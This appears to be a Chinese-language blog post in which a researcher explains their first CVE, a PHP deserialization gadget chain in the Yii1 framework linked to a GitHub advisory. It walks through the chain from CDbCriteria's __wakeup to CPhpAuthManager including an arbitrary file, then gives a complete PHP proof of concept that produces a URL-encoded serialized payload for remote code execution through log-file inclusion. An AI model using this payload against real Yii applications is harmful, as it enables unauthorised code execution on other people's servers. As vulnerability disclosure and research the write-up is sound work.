Yii1 unserialize pop chain
写一下前段时间水的一个cve,也算是我的第一个cve了。
https://github.com/yiisoft/yii/security/advisories/GHSA-mw2w-2hj2-fg8q
入口是CDbCriteria类的__wakeup方法
strtr函数可以触发__tostring方法
抽象类CFormElement中有这个方法
这里我找到其子类CFormInputElement
这里去获取_parent属性的showErrors属性,可以触发__get
CModule类的__get方法
跟进getComponent方法
可以看到$config可控,这里相当于可以实例化任意一个继承了CComponent类的类,并且调用其init方法,这里我找到的是CPhpAuthManager类,其中的init可以包含任意文件,这里就可以通过包含日志文件rce了。
回到触发__get方法的点,跟进renderLabel方法
这里调用了_parent属性的getModel方法,但经过前面的分析可知_parent属性需要为CModule类的一个实例,然而CModule类并不存在getModel方法,这个时候就会进入CModule的父类CComponent的__call方法
这个时候找到一个有getModel方法的类实例化之后放到_m属性里面就可以了。
同样的后面的renderInput方法也一样,这个时候就可以到达$this->getParent()->showErrors
了。
POC:
<?php
abstract class CModel{}
class CFormModel extends CModel{
}
class CBehavior{
private $_enabled;
public function __construct()
{
$this->_enabled=true;
}
}
class CDbCriteria{
public $params;
public $condition;
public function __construct()
{
$this->params=[":ycp"=>"1"];
$this->condition=new CFormInputElement();
}
}
class CForm extends CFormElement{
private $_model;
public function __construct()
{
parent::__construct(1);
$this->_model=new CFormModel();
}
}
class CComponent{
private $_m;
public function __construct($a)
{
$this->_m=[$a];
}
}
abstract class CModule extends CComponent{
private $_components=array();
private $_componentConfig=array("showErrors"=>
["class"=>"CPhpAuthManager","authFile"=>"./protected/runtime/application.log"]);
public function __construct()
{
parent::__construct(new CForm());
}
}
class CWebModule extends CModule
{
}
abstract class CFormElement extends CComponent{
private $_parent;
public $attributes=array();
public function __construct($a)
{ $this->_parent=$a;
$this->attributes=["id"=>"1","name"=>"1","value"=>"1"];
parent::__construct(new CBehavior());
}
}
class CFormInputElement extends CFormElement {
private $_label;
private $_required;
public $type;
public function __construct()
{
$this->type="file";
$this->_label=false;
$this->_required="";
parent::__construct(new CWebModule());
}
}
$a=urlencode(serialize([new CDbCriteria]));
var_dump($a);